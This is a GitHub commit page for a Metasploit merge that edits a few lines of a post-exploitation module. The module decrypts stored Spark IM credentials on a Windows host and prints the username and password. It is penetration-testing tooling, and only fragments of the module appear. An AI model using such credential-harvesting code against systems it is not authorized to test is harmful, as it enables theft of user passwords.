Skip to content

Commit 6ecaabc

Browse files
committed
Merge branch 'spark_im.rb' of git://github.com/zeknox/metasploit-framework into zeknox-spark_im.rb
2 parents c75f48b + d70d2c4 commit 6ecaabc

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/post/windows/gather/credentials/spark_im.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ def decrypt(hash)
5252
password = cipher.update encrypted
5353
password << cipher.final
5454

55-
password = password.encode('UTF-8')
55+
password = ::Rex::Text.to_utf8(password)
5656

5757
credentials = password.split("\u0001")
5858
print_good("Decrypted Username #{credentials[0]} Password: #{credentials[1]}")
@@ -101,7 +101,8 @@ def run
101101
end
102102

103103
# store the hash close the file
104-
hash = password[1].split("password").join.chomp
104+
password = password.delete_if {|e| e !~ /password.+=.+=\r/}
105+
hash = password[0].split("password").join.chomp
105106
print_status("Spark password hash: #{hash}") if datastore['VERBOSE']
106107
config.close
107108

0 commit comments

Comments
 (0)